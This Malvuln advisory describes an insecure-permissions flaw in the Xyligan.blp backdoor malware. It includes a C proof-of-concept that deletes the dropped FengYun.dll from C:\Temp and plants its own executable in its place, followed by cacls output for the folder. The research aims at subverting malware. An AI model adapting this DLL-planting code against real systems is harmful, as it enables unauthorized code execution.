Original source: https://malvuln.com/advisory/6b9afcad282516173c0ab8a6eb91e8b4.txt
Contact:
Media: twitter.com/malvuln
Threat: Backdoor.Win32.Xyligan.blp
Vulnerability: Insecure Permissions EoP
Description: Xyligan.blp creates an insecure dir named "Temp" under
c:\ drive and drops DLL "FengYun.dll into it". The C:\Temp is
granted change (C) permissions to the authenticated users group
allowing any authenticated user to change the DLL to one of their
own executables.
Type: PE32
MD5: 6b9afcad282516173c0ab8a6eb91e8b4.exe
Vuln ID: MVID-2021-0065
Dropped files: FengYun.dll
Disclosure: 02/01/2021
Exploit/PoC:
#include "stdio.h"
#include "windows.h"
#define TARGET "C:\\Temp\\FengYun.dll"
#define TMP "C:\\Temp\\2.exe"
#define DISABLED_TARGET "C:\\Temp\\pwn.tmp"
/*
Backdoor.Win32.Xyligan.blp.6b9afcad282516173c0ab8a6eb91e8b4.exe
*/
/* Insecure Permissions EoP */
/* By Malvuln */
BOOL PWNED=FALSE;
BOOL FileExists(LPCTSTR szPath){
DWORD dwAttrib = GetFileAttributes(szPath);
return (dwAttrib != INVALID_FILE_ATTRIBUTES && !(dwAttrib &
FILE_ATTRIBUTE_DIRECTORY));
}
void main(void){
if(!FileExists(DISABLED_TARGET)){
WinExec("cmd.exe /c del C:\\Temp\\FengYun.dll", 0);
Sleep(1000);
CopyFile(TARGET, TMP, FALSE);
Sleep(1000);
CopyFile(TMP, DISABLED_TARGET, FALSE);
printf("[+] Backdoor.Win32.Xyligan.blp EoP PoC\n");
Sleep(1000);
printf("[+] Deleted FengYun.dll ...\n");
Sleep(300);
}else{
PWNED=TRUE;
}
if(!PWNED){
char fname[MAX_PATH];
char newLoc[]=TARGET;
DWORD size = GetModuleFileNameA(NULL, fname, MAX_PATH);
if (size){
printf("[+] Copying exploit to vuln dir...\n");
Sleep(1000);
CopyFile(fname, TARGET, FALSE);
printf("[+] Done!\n");
exit(0);
}
}else{
if(FileExists(TMP)){
remove(TMP);
}
printf("[+] Backdoor.Win32.Xyligan.blp PWNED!\n");
printf("[+] MD5: 6b9afcad282516173c0ab8a6eb91e8b4\n");
printf("[+] By Malvuln\n");
system("pause");
}
}
C:\>cacls \Temp
C:\Temp BUILTIN\Administrators:(OI)(CI)(ID)F
NT AUTHORITY\SYSTEM:(OI)(CI)(ID)F
BUILTIN\Users:(OI)(CI)(ID)R
NT AUTHORITY\Authenticated Users:(ID)C
NT AUTHORITY\Authenticated Users:(OI)(CI)(IO)(ID)C
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